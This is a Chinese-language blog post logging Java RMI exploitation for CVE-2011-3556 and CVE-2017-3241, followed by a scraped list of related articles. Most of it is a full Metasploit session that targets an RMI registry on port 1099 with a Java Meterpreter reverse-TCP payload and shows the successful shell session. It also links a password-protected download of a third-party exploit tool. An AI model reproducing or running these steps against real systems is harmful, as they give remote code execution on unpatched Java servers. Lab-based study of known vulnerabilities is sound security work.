Java rmi漏洞利用及原理记录
CVE-2011-3556
该模块利用了RMI的默认配置。注册表和RMI激活服务,允许加载类来自任何远程(HTTP)URL。当它在RMI中调用一个方法时分布式垃圾收集器,可通过每个RMI使用endpoint,它可以用于rmiregist和rmid,以及对大多
漏洞利用:
漏洞常用端口1099
- msf5 > use exploit/multi/misc/java_rmi_server
- msf5 exploit(multi/misc/java_rmi_server) > show options
- Module options (exploit/multi/misc/java_rmi_server):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
- RHOST yes The target address
- RPORT 1099 yes The target port (TCP)
- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
- SRVPORT 8080 yes The local port to listen on.
- SSL false no Negotiate SSL for incoming connections
- SSLCert no Path to a custom SSL certificate (default is randomly generated)
- URIPATH no The URI to use for this exploit (default is random)
- Exploit target:
- Id Name
- -- ----
- 0 Generic (Java Payload)
- msf5 exploit(multi/misc/java_rmi_server) > set rhost 172.16.20.134
- rhost => 172.16.20.134
- msf5 exploit(multi/misc/java_rmi_server) > show payloads
- Compatible Payloads
- ===================
- # Name Disclosure Date Rank Check Description
- - ---- --------------- ---- ----- -----------
- 0 generic/custom normal No Custom Payload
- 1 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
- 2 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
- 3 java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
- 4 java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
- 5 java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
- 6 java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
- 7 java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
- 8 java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
- 9 java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
- 10 java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
- 11 java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
- 12 multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Mulitple Architectures)
- 13 multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Mulitple Architectures)
- msf5 exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
- msf5 exploit(multi/misc/java_rmi_server) > show options
- Module options (exploit/multi/misc/java_rmi_server):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
- RHOSTS 172.16.20.207 yes The target address range or CIDR identifier
- RPORT 1099 yes The target port (TCP)
- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
- SRVPORT 8080 yes The local port to listen on.
- SSL false no Negotiate SSL for incoming connections
- SSLCert no Path to a custom SSL certificate (default is randomly generated)
- URIPATH no The URI to use for this exploit (default is random)
- Payload options (java/meterpreter/reverse_tcp):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- LHOST 172.16.20.134 yes The listen address (an interface may be specified)
- LPORT 4444 yes The listen port
- Exploit target:
- Id Name
- -- ----
- 0 Generic (Java Payload)
- msf5 exploit(multi/misc/java_rmi_server) > set lhost 172.16.20.134
- lhost => 172.16.20.134
- msf5 exploit(multi/misc/java_rmi_server) > run
- [*] Started reverse TCP handler on 172.16.20.134:4444
- [*] 172.16.20.207:1099 - Using URL: http://0.0.0.0:8080/dPdVbFGof9
- [*] 172.16.20.207:1099 - Local IP: http://172.16.20.134:8080/dPdVbFGof9
- [*] 172.16.20.207:1099 - Server started.
- [*] 172.16.20.207:1099 - Sending RMI Header...
- [*] 172.16.20.207:1099 - Sending RMI Call...
- [*] 172.16.20.207:1099 - Replied to request for payload JAR
- [*] Sending stage (53844 bytes) to 172.16.20.207
- [*] Meterpreter session 1 opened (172.16.20.134:4444 -> 172.16.20.207:52793) at 2019-08-15 18:33:28 +0800
- [*] 172.16.20.207:1099 - Server stopped.
反弹shell,利用成功
CVE-2017-3241
漏洞利用机制:1.存在反序列化传输。2.存在有缺陷的第三方库如commons-collections ,或者知道公开的类名
小天之天的测试工具:https://pan.baidu.com/s/1pb-br4vhKT6JlT6MmjHqGg 密码:jkl8
Java rmi漏洞利用及原理记录的更多相关文章
- Java RMI 的使用及原理
1.示例 三个角色:RMIService.RMIServer.RMIClient.(RMIServer向RMIService注册Stub.RMIService在RMIClient lookup时向其提 ...
- Windows漏洞利用技术概述
Windows漏洞利用技术总结 1. 前言 本文是我对漏洞利用技术的学习总结,也是自己践行QAD (Questions.Answer.Discussions)的一次实践.本文通过阅读几位大牛的文章.演 ...
- java反序列化漏洞原理研习
零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...
- Java反序列化漏洞原理解析(案例未完善后续补充)
序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 java的反序列化 序列化就是将对象转换为流,利于储存和传输的格式 反序列化与序列化相反,将流转换为对象 例如:json序列化.XML序列 ...
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- 独家分析:安卓“Janus”漏洞的产生原理及利用过程
近日,Google在12月发布的安卓系统安全公告中披露了一个名为"Janus"安卓漏洞(漏洞编号:CVE-2017-13156).该漏洞可以让攻击者绕过安卓系统的signature ...
- Struts2漏洞利用原理及OGNL机制
Struts2漏洞利用原理及OGNL机制研究 概述 在MVC开发框架中,数据会在MVC各个模块中进行流转.而这种流转,也就会面临一些困境,就是由于数据在不同MVC层次中表现出不同的形式和状态而造成 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
- JAVA RMI分布式原理和应用
RMI(Remote Method Invocation)是JAVA早期版本(JDK 1.1)提供的分布式应用解决方案,它作为重要的API被广泛的应用在EJB中.随着互联网应用的发展,分布式处理任务也 ...
随机推荐
- 线段树 离散化 E. Infinite Inversions E. Physical Education Lessons
题目一:E. Infinite Inversions 这个题目没什么思维量,还比较简单,就是离散化要加上每一个值的后面一个值,然后每一个值放进去的不是1 ,而是这个值与下一个点的差值. 因为这个数代表 ...
- H - Fire CodeForces - 864E 01背包
https://codeforces.com/problemset/problem/864/E 这个题目要把这个按照物品毁灭时间进行排序,如果时间短就要排在前面,这个是因为要保证之后的物品的拯救不会影 ...
- 【Hadoop离线基础总结】通过Java代码执行Shell命令
通过Java代码执行Shell命令 需求 在实际工作中,总会有些时候需要我们通过java代码通过远程连接去linux服务器上面执行一些shell命令,包括一些集群的状态管理,执行任务,集群的可视化界面 ...
- 【MySQL基础总结】索引的使用
索引的使用 概述 1.索引由数据库中一列或多列组合而成,其作用是提高对表中数据的查询速度 2.索引的优点是可以提高检索数据的速度 3.缺点是创建和维护索引需要耗费时间 4.所以索引可以提高查询速度,减 ...
- DNSlog注入学习
之前一直有看到过DNSlog这个字眼,但一直没有好好去了解一下,最近又接触到了刚好来深入学习下 0x01 什么是DNSlog 我们都知道DNS就是将域名解析为ip,用户在浏览器上输入一个域名A.com ...
- CentOS6.5x64采用静默模式安装64位oracle11g
1.下载oracle11g64位版本的源文件,并上传到Linux服务器,下载地址自行百度,若实在找不到请留言. 2.Package安装检查安装: 通过yum工具直接安装: yum -y install ...
- 基于MySQL 的 SQL 优化总结
文章首发于我的个人博客,欢迎访问.https://blog.itzhouq.cn/mysql1 基于MySQL 的 SQL 优化总结 在数据库运维过程中,优化 SQL 是 DBA 团队的日常任务.例行 ...
- LUNIX命令集
Linux 是一套免费使用和自由传播的类 Unix 操作系统,是一个基于 POSIX 和 UNIX 的多用户.多任务.支持多线程和多 CPU 的操作系统. Linux 能运行主要的 UNIX 工具软件 ...
- python 机器学习(二)分类算法-k近邻算法
一.什么是K近邻算法? 定义: 如果一个样本在特征空间中的k个最相似(即特征空间中最邻近)的样本中的大多数属于某一个类别,则该样本也属于这个类别. 来源: KNN算法最早是由Cover和Hart提 ...
- 类linux 系统上端口被占用
好几次遇到这问题,明明Ctrl+C退出了node,但是下次启动的时候总是会报错: listen EADDRINUSE :::80 之类的. 这时候可能是被占用,也可能是上次进程没有真的退出. ps - ...